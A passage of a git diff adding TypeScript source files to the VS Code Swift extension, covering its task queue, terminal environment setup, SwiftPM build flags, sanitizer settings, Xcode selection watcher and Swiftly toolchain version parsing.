checkAlreadyRunning: false, + } + ) {} + + get name(): string { + return this.task.name; + } + + get id(): string { + let scopeString: string; + if ( + this.task.scope === vscode.TaskScope.Workspace || + this.task.scope === vscode.TaskScope.Global + ) { + scopeString = vscode.TaskScope[this.task.scope]; + } else if (this.task.scope) { + scopeString = `,${this.task.scope.name}`; + } else { + scopeString = "*undefined*"; + } + return this.task.definition.args.join() + scopeString; + } + + get statusItemId(): vscode.Task | string { + return this.task; + } + + get isBuildOperation(): boolean { + return this.task.group === vscode.TaskGroup.Build; + } + + run( + workspaceContext: WorkspaceContext, + token?: vscode.CancellationToken + ): Promise { + if (token?.isCancellationRequested) { + return Promise.resolve(undefined); + } + workspaceContext.logger.info(`Exec Task: ${this.task.detail ?? this.task.name}`); + return workspaceContext.tasks.executeTaskAndWait(this.task, token); + } +} + +/** Operation that runs the swift executable and then parses the result */ +export class SwiftExecOperation implements SwiftOperation { + constructor( + public args: string[], + public folderContext: FolderContext, + public name: string, + public options: SwiftOperationOptions, + public process: (stdout: string, stderr: string) => Promise | void + ) {} + + get id(): string { + return `${this.args.join()},${this.folderContext?.folder.path}`; + } + + get statusItemId(): vscode.Task | string { + return `${this.name} (${this.folderContext.name})`; + } + + get isBuildOperation(): boolean { + return false; + } + + async run(): Promise { + const { stdout, stderr } = await execSwift( + this.args, + this.folderContext.toolchain, + { cwd: this.folderContext.folder.fsPath }, + this.folderContext + ); + await this.process(stdout, stderr); + return 0; + } +} + +interface TaskQueueResult { + success?: number; + fail?: unknown; +} + +/** + * Operation added to queue. + */ +class QueuedOperation { + get id(): string { + return this.operation.id; + } + get showStatusItem(): boolean { + return this.operation.options.showStatusItem; + } + get log(): string | undefined { + return this.operation.options.log; + } + + public promise?: Promise = undefined; + constructor( + public operation: SwiftOperation, + public cb: (result: TaskQueueResult) => void, + public token?: vscode.CancellationToken + ) {} + + run(workspaceContext: WorkspaceContext): Promise { + return this.operation.run(workspaceContext, this.token); + } +} + +/** + * Task queue + * + * Queue swift task operations to be executed serially + */ +export class TaskQueue implements vscode.Disposable { + queue: QueuedOperation[]; + activeOperation?: QueuedOperation; + workspaceContext: WorkspaceContext; + disabled: boolean; + + constructor(private folderContext: FolderContext) { + this.queue = []; + this.workspaceContext = folderContext.workspaceContext; + this.activeOperation = undefined; + this.disabled = false; + } + + dispose() { + this.queue = []; + this.activeOperation = undefined; + } + + /** + * Add operation to queue + * @param operation Operation to queue + * @param token Cancellation token + * @returns When queued operation is complete + */ + queueOperation( + operation: SwiftOperation, + token?: vscode.CancellationToken + ): Promise { + // do we already have a version of this operation in the queue. If so + // return the promise for when that operation is complete instead of adding + // a new operation + let queuedOperation = this.findQueuedOperation(operation); + if (queuedOperation && queuedOperation.promise !== undefined) { + return queuedOperation.promise; + } + // if checkAlreadyRunning is set then check the active operation is not the same + if ( + operation.options.checkAlreadyRunning === true && + this.activeOperation && + this.activeOperation.promise && + this.activeOperation.id === operation.id + ) { + return this.activeOperation.promise; + } + + const promise = new Promise((resolve, fail) => { + queuedOperation = new QueuedOperation( + operation, + result => { + if (result.success !== undefined) { + resolve(result.success); + } else if (result.fail !== undefined) { + fail(result.fail); + } else { + resolve(undefined); + } + }, + token + ); + this.queue.push(queuedOperation); + void this.processQueue(); + }); + // if the last item does not have a promise then it is the queue + // entry we just added above and we should set its promise + if (this.queue.length > 0 && !this.queue[this.queue.length - 1].promise) { + this.queue[this.queue.length - 1].promise = promise; + } + return promise; + } + + /** If there is no active operation then run the task at the top of the queue */ + private async processQueue() { + if (!this.activeOperation) { + // get task from queue + const operation = this.queue.shift(); + + if (operation) { + //const task = operation.task; + this.activeOperation = operation; + // show active task status item + if (operation.showStatusItem === true) { + this.workspaceContext.statusItem.start(operation.operation.statusItemId); + } + // wait while queue is disabled before running task + await this.waitWhileDisabled(); + // log start + if (operation.log) { + this.workspaceContext.logger.info( + `${operation.log}: starting ... `, + this.folderContext.name + ); + } + operation + .run(this.workspaceContext) + .then(result => { + // log result + if (operation.log && !operation.token?.isCancellationRequested) { + switch (result) { + case 0: + this.workspaceContext.logger.info( + `${operation.log}: ... done.`, + this.folderContext.name + ); + break; + default: + this.workspaceContext.logger.error( + `${operation.log}: ... failed.`, + this.folderContext.name + ); + break; + } + } + this.finishTask(operation, { success: result }); + }) + .catch(error => { + // log error + if (operation.log) { + this.workspaceContext.logger.error( + `${operation.log}: ${error}`, + this.folderContext.name + ); + } + this.finishTask(operation, { fail: error }); + }); + } + } + } + + private finishTask(operation: QueuedOperation, result: TaskQueueResult) { + operation.cb(result); + if (operation.showStatusItem === true) { + this.workspaceContext.statusItem.end(operation.operation.statusItemId); + } + this.activeOperation = undefined; + void this.processQueue(); + } + + /** Return if we already have an operation in the queue */ + findQueuedOperation(operation: SwiftOperation): QueuedOperation | undefined { + for (const queuedOperation of this.queue) { + if (queuedOperation.id === operation.id) { + return queuedOperation; + } + } + } + + private async waitWhileDisabled() { + await poll(() => !this.disabled, 1000); + } +} diff --git a/src/terminal.ts b/src/terminal.ts new file mode 100644 index 000000000..aeec3144d --- /dev/null +++ b/src/terminal.ts @@ -0,0 +1,106 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import configuration from "./configuration"; + +/** The separator to use between paths in the PATH environment variable */ +const pathSeparator = () => (process.platform === "win32" ? ";" : ":"); + +/** + * Configures Swift environment variables for VS Code. Will automatically update + * whenever the configuration changes. + */ +export class SwiftEnvironmentVariablesManager implements vscode.Disposable { + private subscriptions: vscode.Disposable[] = []; + + constructor(private context: vscode.ExtensionContext) { + this.update(); + this.subscriptions.push( + vscode.workspace.onDidChangeConfiguration(event => { + if ( + event.affectsConfiguration("swift.enableTerminalEnvironment") || + event.affectsConfiguration("swift.path") || + event.affectsConfiguration("swift.swiftEnvironmentVariables") + ) { + this.update(); + } + }) + ); + } + + dispose() { + this.context.environmentVariableCollection.clear(); + for (const disposable of this.subscriptions) { + disposable.dispose(); + } + } + + private update() { + const environment = this.context.environmentVariableCollection; + environment.clear(); + + if (!configuration.enableTerminalEnvironment) { + return; + } + + if (configuration.path) { + environment.prepend("PATH", configuration.path + pathSeparator(), { + applyAtShellIntegration: true, + }); + } + for (const variable in configuration.swiftEnvironmentVariables) { + environment.replace(variable, configuration.swiftEnvironmentVariables[variable], { + applyAtShellIntegration: true, + }); + } + } +} + +/** + * A {@link vscode.TerminalProfileProvider} used to create a terminal with the appropriate Swift + * environment variables applied. + */ +export class SwiftTerminalProfileProvider implements vscode.TerminalProfileProvider { + provideTerminalProfile(): vscode.ProviderResult { + const env: vscode.TerminalOptions["env"] = { + ...configuration.swiftEnvironmentVariables, + }; + if (!configuration.enableTerminalEnvironment) { + const disposable = vscode.window.onDidOpenTerminal(terminal => { + if (configuration.path) { + terminal.sendText(`export PATH=${configuration.path + pathSeparator()}$PATH`); + } + disposable.dispose(); + }); + } + return new vscode.TerminalProfile({ + name: "Swift Terminal", + iconPath: new vscode.ThemeIcon("swift-icon"), + shellArgs: [], + env, + }); + } + + /** + * Registers the Swift terminal profile provider with VS Code. + * @returns A disposable that unregisters the provider when disposed. + */ + public static register(): vscode.Disposable { + return vscode.window.registerTerminalProfileProvider( + "swift.terminalProfile", + new SwiftTerminalProfileProvider() + ); + } +} diff --git a/src/toolchain/BuildFlags.ts b/src/toolchain/BuildFlags.ts new file mode 100644 index 000000000..cd7512186 --- /dev/null +++ b/src/toolchain/BuildFlags.ts @@ -0,0 +1,351 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; + +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { execSwift } from "../utilities/utilities"; +import { Version } from "../utilities/version"; +import { DarwinCompatibleTarget, SwiftToolchain, getDarwinTargetTriple } from "./toolchain"; + +/** Target info */ +export interface DarwinTargetInfo { + name: string; + target: DarwinCompatibleTarget; + version: string; +} + +export interface ArgumentFilter { + argument: string; + include: number; +} + +export class BuildFlags { + private static buildPathCache = new Map(); + + constructor(public toolchain: SwiftToolchain) {} + + /** + * Get modified swift arguments with SDK flags. + * + * @param args original commandline arguments + */ + private withSwiftSDKFlags(args: string[]): string[] { + switch (args[0]) { + case "package": { + const subcommand = args.splice(0, 2).concat(this.buildPathFlags()); + switch (subcommand[1]) { + case "dump-symbol-graph": + case "diagnose-api-breaking-changes": + case "resolve": { + // These two tools require building the package, so SDK + // flags are needed. Destination control flags are + // required to be placed before subcommand options. + return [...subcommand, ...this.swiftpmSDKFlags(), ...args]; + } + default: + // Other swift-package subcommands operate on the host, + // so it doesn't need to know about the destination. + return subcommand.concat(args); + } + } + case "build": + case "run": + case "test": { + const subcommand = args.splice(0, 1).concat(this.buildPathFlags()); + return [...subcommand, ...this.swiftpmSDKFlags(), ...args]; + } + default: + // We're not going to call the Swift compiler directly for cross-compiling + // and the destination settings are package-only, so do nothing here. + return args; + } + } + + withSwiftPackageFlags(args: string[]): string[] { + switch (args[0]) { + case "package": { + if (args[1] === "init") { + return args; + } + const newArgs = [...args]; + newArgs.splice(1, 0, ...configuration.packageArguments); + return newArgs; + } + case "build": + case "run": + case "test": + return [...args, ...configuration.packageArguments]; + default: + return args; + } + } + + /** + * Get SDK flags for SwiftPM + */ + swiftpmSDKFlags(): string[] { + const flags: string[] = []; + if (configuration.sdk !== "") { + flags.push("--sdk", configuration.sdk, ...this.swiftDriverTargetFlags(true)); + } + if (configuration.swiftSDK !== "") { + flags.push("--swift-sdk", configuration.swiftSDK); + } + return flags; + } + + /** + * Get build path flags to be passed to swift package manager and sourcekit-lsp server + */ + buildPathFlags(): string[] { + if (configuration.buildPath && configuration.buildPath.length > 0) { + if (this.toolchain.swiftVersion.isLessThan(new Version(5, 8, 0))) { + return ["--build-path", configuration.buildPath]; + } else { + return ["--scratch-path", configuration.buildPath]; + } + } else { + return []; + } + } + + /** + * Get build path from configuration if exists or return a fallback .build directory in given workspace + * @param filesystem path to workspace that will be used as a fallback loacation with .build directory + */ + static buildDirectoryFromWorkspacePath( + workspacePath: string, + absolute = false, + platform?: "posix" | "win32" + ): string { + const nodePath = + platform === "posix" ? path.posix : platform === "win32" ? path.win32 : path; + const buildPath = configuration.buildPath.length > 0 ? configuration.buildPath : ".build"; + if (!nodePath.isAbsolute(buildPath) && absolute) { + return nodePath.join(workspacePath, buildPath); + } else { + return buildPath; + } + } + + /** + * Get SDK flags for swiftc + * + * @param indirect whether to pass the flags by -Xswiftc + */ + swiftDriverSDKFlags(indirect = false): string[] { + if (configuration.sdk === "") { + return []; + } + const args = ["-sdk", configuration.sdk]; + return indirect ? args.flatMap(arg => ["-Xswiftc", arg]) : args; + } + + /** + * @returns Darwin target information. Target id, name and version + */ + getDarwinTarget(): DarwinTargetInfo | undefined { + const targetMap = [ + { name: "iPhoneOS", target: DarwinCompatibleTarget.iOS }, + { name: "AppleTVOS", target: DarwinCompatibleTarget.tvOS }, + { name: "WatchOS", target: DarwinCompatibleTarget.watchOS }, + { name: "XROS", target: DarwinCompatibleTarget.visionOS }, + ]; + + if (configuration.sdk === "" || process.platform !== "darwin") { + return undefined; + } + + const sdkKindParts = configuration.sdk.split("/"); + const sdkKind = sdkKindParts[sdkKindParts.length - 1]; + for (const target of targetMap) { + if (sdkKind.includes(target.name)) { + // Obtain the version of the SDK. + const version = sdkKind.substring( + // Trim the prefix + target.name.length, + // Trim the `.sdk` suffix + sdkKind.length - 4 + ); + return { ...target, version: version }; + } + } + return undefined; + } + + /** + * Get target flags for swiftc + * + * @param indirect whether to pass the flags by -Xswiftc + */ + swiftDriverTargetFlags(indirect = false): string[] { + const target = this.getDarwinTarget(); + if (!target) { + return []; + } + const args = ["-target", `${getDarwinTargetTriple(target.target)}${target.version}`]; + return indirect ? args.flatMap(arg => ["-Xswiftc", arg]) : args; + } + + /** + * Get modified swift arguments with new arguments for disabling + * sandboxing if the `swift.disableSandbox` setting is enabled. + * + * @param args original commandline arguments + */ + private withDisableSandboxFlags(args: string[]): string[] { + if (!configuration.disableSandbox) { + return args; + } + const disableSandboxFlags = ["--disable-sandbox", "-Xswiftc", "-disable-sandbox"]; + switch (args[0]) { + case "package": { + return [args[0], ...disableSandboxFlags, ...args.slice(1)]; + } + case "build": + case "run": + case "test": { + return [...args, ...disableSandboxFlags]; + } + default: + // Do nothing for other commands + return args; + } + } + + /** + * Get the build binary path using swift build --show-bin-path. + * This respects all build configuration including buildArguments, buildSystem, etc. + * + * @param workspacePath Path to the workspace + * @param configuration Build configuration (debug or release) + * @returns Promise resolving to the build binary path + */ + async getBuildBinaryPath( + workspacePath: string, + buildConfiguration: "debug" | "release" = "debug", + logger: SwiftLogger, + idSuffix: string = "", + extraArgs: string[] = [] + ): Promise { + // Checking the bin path requires a swift process execution, so we maintain a cache. + // The cache key is based on workspace, configuration, and build arguments. + const buildArgsHash = JSON.stringify(configuration.buildArguments); + const cacheKey = `${workspacePath}:${buildConfiguration}:${buildArgsHash}${idSuffix}`; + + if (BuildFlags.buildPathCache.has(cacheKey)) { + return BuildFlags.buildPathCache.get(cacheKey)!; + } + + // Filters down build arguments to those affecting the bin path + const binPathAffectingArgs = (args: string[]) => + BuildFlags.filterArguments(args, [ + { argument: "--scratch-path", include: 1 }, + { argument: "--build-system", include: 1 }, + ]); + + const baseArgs = ["build", "--show-bin-path", "--configuration", buildConfiguration]; + const fullArgs = [ + ...this.withAdditionalFlags(baseArgs), + ...binPathAffectingArgs([...configuration.buildArguments, ...extraArgs]), + ]; + + try { + // Execute swift build --show-bin-path + const result = await execSwift(fullArgs, this.toolchain, { + cwd: workspacePath, + }); + const binPath = result.stdout.trim(); + + // Cache the result + BuildFlags.buildPathCache.set(cacheKey, binPath); + return binPath; + } catch (error) { + logger.warn( + `Failed to get build binary path using 'swift ${fullArgs.join(" ")}. Falling back to traditional path construction. error: ${error}` + ); + // Fallback to traditional path construction if command fails + const fallbackPath = path.join( + BuildFlags.buildDirectoryFromWorkspacePath(workspacePath, true), + buildConfiguration + ); + return fallbackPath; + } + } + + /** + * Clear the build path cache. Should be called when build configuration changes. + */ + static clearBuildPathCache(): void { + BuildFlags.buildPathCache.clear(); + } + + withAdditionalFlags(args: string[]): string[] { + return this.withSwiftPackageFlags( + this.withDisableSandboxFlags(this.withSwiftSDKFlags(args)) + ); + } + + /** + * Filter argument list with support for both inclusion and exclusion logic + * @param args argument list + * @param filter argument list filter + * @param exclude if true, remove matching arguments (exclusion mode); if false, keep only matching arguments (inclusion mode) + * @returns filtered argument list + */ + static filterArguments(args: string[], filter: ArgumentFilter[], exclude = false): string[] { + const filteredArguments: string[] = []; + let pendingCount = 0; + + for (const arg of args) { + if (pendingCount > 0) { + if (!exclude) { + filteredArguments.push(arg); + } + pendingCount -= 1; + continue; + } + + // Check if this argument matches any filter + const matchingFilter = filter.find(item => item.argument === arg); + if (matchingFilter) { + if (!exclude) { + filteredArguments.push(arg); + } + pendingCount = matchingFilter.include; + continue; + } + + // Check for arguments of form --arg=value (only for filters with include=1) + const combinedArgFilter = filter.find( + item => item.include === 1 && arg.startsWith(item.argument + "=") + ); + if (combinedArgFilter) { + if (!exclude) { + filteredArguments.push(arg); + } + continue; + } + + // Handle unmatched arguments + if (exclude) { + filteredArguments.push(arg); + } + // In include mode, unmatched arguments are not added + } + + return filteredArguments; + } +} diff --git a/src/toolchain/Sanitizer.ts b/src/toolchain/Sanitizer.ts new file mode 100644 index 000000000..b56e7e76a --- /dev/null +++ b/src/toolchain/Sanitizer.ts @@ -0,0 +1,54 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; + +import { SwiftToolchain } from "./toolchain"; + +export class Sanitizer { + private constructor( + public type: "thread" | "address", + public toolchain: SwiftToolchain + ) {} + + /** create sanitizer */ + static create(type: string, toolchain: SwiftToolchain): Sanitizer | undefined { + if (type === "thread" || type === "address") { + return new Sanitizer(type, toolchain); + } + } + + /** Return runtime environment variables for macOS */ + get runtimeEnvironment(): Record | undefined { + if (!this.toolchain.toolchainPath) { + return undefined; + } + const lib = `/lib/swift/clang/lib/darwin/libclang_rt.${this.clangName}_osx_dynamic.dylib`; + const libFullPath = path.join(this.toolchain.toolchainPath, lib); + return { DYLD_INSERT_LIBRARIES: libFullPath }; + } + + /** return build flags */ + get buildFlags(): [string] { + return [`--sanitize=${this.type}`]; + } + + get clangName(): string { + switch (this.type) { + case "address": + return "asan"; + case "thread": + return "tsan"; + } + } +} diff --git a/src/toolchain/SelectedXcodeWatcher.ts b/src/toolchain/SelectedXcodeWatcher.ts new file mode 100644 index 000000000..c6f89450c --- /dev/null +++ b/src/toolchain/SelectedXcodeWatcher.ts @@ -0,0 +1,130 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs/promises"; +import * as vscode from "vscode"; + +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { showReloadExtensionNotification } from "../ui/ReloadExtension"; +import { removeToolchainPath, selectToolchain } from "../ui/ToolchainSelection"; + +export class SelectedXcodeWatcher implements vscode.Disposable { + private xcodePath: string | undefined; + private disposed: boolean = false; + private interval: NodeJS.Timeout | undefined; + private checkIntervalMs: number; + private xcodeSymlink: () => Promise; + + private static DEFAULT_CHECK_INTERVAL_MS = 2000; + private static XCODE_SYMLINK_LOCATION = "/var/select/developer_dir"; + + constructor( + private logger: SwiftLogger, + testDependencies?: { + checkIntervalMs?: number; + xcodeSymlink?: () => Promise; + } + ) { + this.checkIntervalMs = + testDependencies?.checkIntervalMs || SelectedXcodeWatcher.DEFAULT_CHECK_INTERVAL_MS; + this.xcodeSymlink = + testDependencies?.xcodeSymlink || + (async () => { + try { + return await fs.readlink(SelectedXcodeWatcher.XCODE_SYMLINK_LOCATION); + } catch (e) { + return undefined; + } + }); + + if (!this.isValidXcodePlatform()) { + return; + } + + // Deliberately not awaiting this, as we don't want to block the extension activation. + void this.setup(); + } + + dispose() { + this.disposed = true; + clearInterval(this.interval); + } + + /** + * Polls the Xcode symlink location checking if it has changed. + * If the user has `swift.path` set in their settings this check is skipped. + */ + private async setup() { + this.xcodePath = await this.xcodeSymlink(); + this.logger.debug(`Initial Xcode symlink path ${this.xcodePath}`); + const developerDir = () => configuration.swiftEnvironmentVariables["DEVELOPER_DIR"]; + const matchesPath = (xcodePath: string) => + configuration.path && configuration.path.startsWith(xcodePath); + const matchesDeveloperDir = (xcodePath: string) => developerDir()?.startsWith(xcodePath); + if ( + this.xcodePath && + (configuration.path || developerDir()) && + !(matchesPath(this.xcodePath) || matchesDeveloperDir(this.xcodePath)) + ) { + this.xcodePath = undefined; // Notify user when initially launching that xcode changed since last session + } + this.interval = setInterval(async () => { + if (this.disposed) { + return clearInterval(this.interval); + } + + const newXcodePath = await this.xcodeSymlink(); + if (newXcodePath && this.xcodePath !== newXcodePath) { + this.logger.info( + `Selected Xcode changed from ${this.xcodePath} to ${newXcodePath}` + ); + this.xcodePath = newXcodePath; + if (!configuration.path) { + await showReloadExtensionNotification( + "The Swift Extension has detected a change in the selected Xcode. Please reload the extension to apply the changes." + ); + } else if (developerDir() && !matchesDeveloperDir(this.xcodePath)) { + const selected = await vscode.window.showWarningMessage( + 'The Swift Extension has detected a change in the selected Xcode which does not match the value of your DEVELOPER_DIR in the "swift.swiftEnvironmentVariables" setting. Would you like to update your configured "swift.swiftEnvironmentVariables" setting?', + "Remove From Settings", + "Select Toolchain" + ); + if (selected === "Remove From Settings") { + await removeToolchainPath(); + } else if (selected === "Select Toolchain") { + await selectToolchain(); + } + } else if (!matchesPath(this.xcodePath)) { + const selected = await vscode.window.showWarningMessage( + 'The Swift Extension has detected a change in the selected Xcode which does not match the value of your "swift.path" setting. Would you like to update your configured "swift.path" setting?', + "Remove From Settings", + "Select Toolchain" + ); + if (selected === "Remove From Settings") { + await removeToolchainPath(); + } else if (selected === "Select Toolchain") { + await selectToolchain(); + } + } + } + }, this.checkIntervalMs); + } + + /** + * Xcode selection is a macOS only concept. + */ + private isValidXcodePlatform() { + return process.platform === "darwin"; + } +} diff --git a/src/toolchain/ToolchainVersion.ts b/src/toolchain/ToolchainVersion.ts new file mode 100644 index 000000000..752d9199b --- /dev/null +++ b/src/toolchain/ToolchainVersion.ts @@ -0,0 +1,231 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +export interface SwiftlyConfig { + installedToolchains: string[]; + inUse: string; + version: string; +} + +/** + * This code is a port of the toolchain version parsing in Swiftly. + * Until Swiftly can report the location of the toolchains under its management + * use `ToolchainVersion.parse(versionString)` to reconstruct the directory name of the toolchain on disk. + * https://github.com/swiftlang/swiftly/blob/bd6884316817e400a0ec512599f046fa437e9760/Sources/SwiftlyCore/ToolchainVersion.swift# + */ +// +// Enum representing a fully resolved toolchain version (e.g. 5.6.7 or 5.7-snapshot-2022-07-05). +export class ToolchainVersion { + private type: "stable" | "snapshot"; + private value: StableRelease | Snapshot; + + constructor( + value: + | { + type: "stable"; + major: number; + minor: number; + patch: number; + } + | { + type: "snapshot"; + branch: Branch; + date: string; + } + ) { + if (value.type === "stable") { + this.type = "stable"; + this.value = new StableRelease(value.major, value.minor, value.patch); + } else { + this.type = "snapshot"; + this.value = new Snapshot(value.branch, value.date); + } + } + + private static stableRegex = /^(?:Swift )?(\d+)\.(\d+)\.(\d+)$/; + private static mainSnapshotRegex = /^main-snapshot-(\d{4}-\d{2}-\d{2})$/; + private static releaseSnapshotRegex = /^(\d+)\.(\d+)-snapshot-(\d{4}-\d{2}-\d{2})$/; + + /** + * Parse a toolchain version from the provided string + **/ + static parse(string: string): ToolchainVersion { + let match: RegExpMatchArray | null; + + // Try to match as stable release + match = string.match(this.stableRegex); + if (match) { + const major = parseInt(match[1], 10); + const minor = parseInt(match[2], 10); + const patch = parseInt(match[3], 10); + + if (isNaN(major) || isNaN(minor) || isNaN(patch)) { + throw new Error(`invalid stable version: ${string}`); + } + + return new ToolchainVersion({ + type: "stable", + major, + minor, + patch, + }); + } + + // Try to match as main snapshot + match = string.match(this.mainSnapshotRegex); + if (match) { + return new ToolchainVersion({ + type: "snapshot", + branch: Branch.main(), + date: match[1], + }); + } + + // Try to match as release snapshot + match = string.match(this.releaseSnapshotRegex); + if (match) { + const major = parseInt(match[1], 10); + const minor = parseInt(match[2], 10); + + if (isNaN(major) || isNaN(minor)) { + throw new Error(`invalid release snapshot version: ${string}`); + } + + return new ToolchainVersion({ + type: "snapshot", + branch: Branch.release(major, minor), + date: match[3], + }); + } + + throw new Error(`invalid toolchain version: "${string}"`); + } + + get name(): string { + if (this.type === "stable") { + const release = this.value as StableRelease; + return `${release.major}.${release.minor}.${release.patch}`; + } else { + const snapshot = this.value as Snapshot; + if (snapshot.branch.type === "main") { + return `main-snapshot-${snapshot.date}`; + } else { + return `${snapshot.branch.major}.${snapshot.branch.minor}-snapshot-${snapshot.date}`; + } + } + } + + get identifier(): string { + if (this.type === "stable") { + const release = this.value as StableRelease; + if (release.patch === 0) { + if (release.minor === 0) { + return `swift-${release.major}-RELEASE`; + } + return `swift-${release.major}.${release.minor}-RELEASE`; + } + return `swift-${release.major}.${release.minor}.${release.patch}-RELEASE`; + } else { + const snapshot = this.value as Snapshot; + if (snapshot.branch.type === "main") { + return `swift-DEVELOPMENT-SNAPSHOT-${snapshot.date}-a`; + } else { + return `swift-${snapshot.branch.major}.${snapshot.branch.minor}-DEVELOPMENT-SNAPSHOT-${snapshot.date}-a`; + } + } + } + + get description(): string { + return this.value.description; + } +} + +class Branch { + static main(): Branch { + return new Branch("main", null, null); + } + + static release(major: number, minor: number): Branch { + return new Branch("release", major, minor); + } + + private constructor( + public type: "main" | "release", + public _major: number | null, + public _minor: number | null + ) {} + + get description(): string { + switch (this.type) { + case "main": + return "main"; + case "release": + return `${this._major}.${this._minor} development`; + } + } + + get name(): string { + switch (this.type) { + case "main": + return "main"; + case "release": + return `${this._major}.${this._minor}`; + } + } + + get major(): number | null { + return this._major; + } + + get minor(): number | null { + return this._minor; + } +} + +// Snapshot class +class Snapshot { + // Branch enum + + branch: Branch; + date: string; + + constructor(branch: Branch, date: string) { + this.branch = branch; + this.date = date; + } + + get description(): string { + if (this.branch.type === "main") { + return `main-snapshot-${this.date}`; + } else { + return `${this.branch.major}.${this.branch.minor}-snapshot-${this.date}`; + } + } +} + +class StableRelease { + major: number; + minor: number; + patch: number; + + constructor(major: number, minor: number, patch: number) { + this.major = major; + this.minor = minor; + this.patch = patch; + } + + get description(): string { + return `Swift ${this.major}.${this.minor}.${this.patch}`; + } +} diff --git a/src/toolchain/swiftly.ts b/src/toolchain/swiftly.ts new file mode 100644 index 000000000..d6dd9aa29 --- /dev/null +++ b/src/toolchain/swiftly.ts @@ -0,0 +1,972 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { ExecFileOptions } from "child_process"; +import * as fsSync from "fs"; +import * as fs from "fs/promises"; +import * as os from "os"; +import * as path from "path"; +import * as readline from "readline"; +import * as Stream from "stream"; +import * as vscode from "vscode"; +import { z } from "zod/v4/mini"; + +import { withAskpassServer } from "../askpass/askpass-server"; +import { installSwiftlyToolchainWithProgress } from "../commands/installSwiftlyToolchain"; +import { ContextKeys } from "../contextKeys"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { showMissingToolchainDialog } from "../ui/ToolchainSelection"; +import { touch } from "../utilities/filesystem"; +import { findBinaryPath } from "../utilities/shell"; +import { ExecFileError, execFile, execFileStreamOutput } from "../utilities/utilities"; +import { Version } from "../utilities/version"; +import { SwiftlyConfig } from "./ToolchainVersion"; + +const SystemVersion = z.object({ + type: z.literal("system"), + name: z.string(), +}); +export type SystemVersion = z.infer; + +const StableVersion = z.object({ + type: z.literal("stable"), + name: z.string(), + + major: z.number(), + minor: z.number(), + patch: z.number(), +}); +export type StableVersion = z.infer; + +const SnapshotVersion = z.object({ + type: z.literal("snapshot"), + name: z.string(), + + major: z.optional(z.number()), + minor: z.optional(z.number()), + branch: z.string(), + date: z.string(), +}); +export type SnapshotVersion = z.infer; + +export type ToolchainVersion = SystemVersion | StableVersion | SnapshotVersion; + +export interface AvailableToolchain { + inUse: boolean; + installed: boolean; + isDefault: boolean; + version: ToolchainVersion; +} + +const SwiftlyListResult = z.object({ + toolchains: z.array( + z.object({ + inUse: z.boolean(), + isDefault: z.boolean(), + version: z.union([ + SystemVersion, + StableVersion, + SnapshotVersion, + // Allow matching against unexpected future version types + z.object(), + ]), + }) + ), +}); + +const SwiftlyListAvailableResult = z.object({ + toolchains: z.array( + z.object({ + inUse: z.boolean(), + installed: z.boolean(), + isDefault: z.boolean(), + version: z.union([ + SystemVersion, + StableVersion, + SnapshotVersion, + // Allow matching against unexpected future version types + z.object(), + ]), + }) + ), +}); + +const InUseVersionResult = z.object({ + version: z.string(), +}); + +const SwiftlyProgressData = z.object({ + complete: z.optional( + z.object({ + success: z.boolean(), + }) + ), + step: z.optional( + z.object({ + text: z.string(), + percent: z.number(), + }) + ), +}); + +export type SwiftlyProgressData = z.infer; + +export interface PostInstallValidationResult { + isValid: boolean; + summary: string; + invalidCommands?: string[]; +} + +export interface MissingToolchainError { + version: string; + originalError: string; +} + +/** + * Parses Swiftly error message to detect missing toolchain scenarios + * @param stderr The stderr output from swiftly command + * @returns MissingToolchainError if this is a missing toolchain error, undefined otherwise + */ +export function parseSwiftlyMissingToolchainError( + stderr: string +): MissingToolchainError | undefined { + // Parse error message like: "uses toolchain version 6.1.2, but it doesn't match any of the installed toolchains" + const versionMatch = stderr.match(/uses toolchain version ([0-9.]+(?:-[a-zA-Z0-9-]+)*)/); + if (versionMatch && stderr.includes("doesn't match any of the installed toolchains")) { + return { + version: versionMatch[1], + originalError: stderr, + }; + } + return undefined; +} + +/** + * Attempts to automatically install a missing Swiftly toolchain with user consent + * @param version The toolchain version to install + * @param logger Optional logger for error reporting + * @param folder Optional folder context + * @param token Optional cancellation token to abort the installation + * @returns Promise true if toolchain was successfully installed, false otherwise + */ +export async function handleMissingSwiftlyToolchain( + version: string, + extensionRoot: string, + logger?: SwiftLogger, + folder?: vscode.Uri +): Promise { + logger?.info(`Attempting to handle missing 